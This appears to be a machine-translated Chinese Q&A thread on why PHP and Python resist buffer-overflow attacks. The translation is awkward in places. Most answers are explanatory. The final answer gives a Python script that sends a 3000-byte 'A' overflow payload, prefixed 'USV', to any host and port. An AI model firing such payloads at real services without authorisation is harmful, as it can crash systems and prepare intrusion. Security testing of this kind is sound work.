2010-01-17 44 views

回答

2

由於PHP是一種腳本語言,沒有指針和字符串類型是二進制安全這樣的事情不會在PHP工作。

但你爲什麼要這麼做?

(哦,有可能是在PHP中的錯誤導致緩衝區溢出,但是這沒有什麼熱點可以用任何方式依賴,通常是固定的相當FFAST ...)

1

做在PHP中類似的東西不會導致相同的行爲。

對PHP進行解釋並始終檢查您正在執行或未執行的操作是否有效。因此,您不能 - 例如 - 溢出緩衝區。

1

因爲php,python和每一種解釋型語言都必須先通過解釋器,而且你沒有完全訪問內存,這種語言不會讓你去做一些像你發佈的代碼一樣的遊戲。

8

事實上,Python和PHP被其他人所建議的解釋實際上並不是重點。重點是幾乎所有的API和語言語義都暴露在錯誤檢查之中,使得不可能有可利用的未定義行爲。即使你編譯的語言,它仍然是不可能的。這並不意味着你不能暴露可以做任何事情的不安全的API。實際上,使用Pythons的ctypes模塊,應該可以創建類似的行爲,但是意外事件難以做到。

2

很抱歉,您已經達到了Python的弱點。不幸的是,這是設計的,所以很少能做到。也許你應該留在C.

正如馬丁五世Löwissaid

Python不支持緩衝區溢出,對不起。

PS哇。看起來好像幾個月前,我讀了那篇文章,但它已經是7年零一天了。

0
import sys 
import socket 

for carg in sys.argv: 

    if carg == "-S": 

     argnum= sys.argv.index(carg) 

     argnum +=1 

     host = sys.argv[argnum] 

    elif carg == "-p": 

     argnum = sys.argv.index(carg) 

     argnum +=1 

     port = sys.argv[argnum] 

buffer = "\x41"* 3000 

s= socket.socket(socket.AF_INET, socket.SOCK_STREAM) 

s.connect((host,port)) 

s.send("USV" + buffer) 

s.close()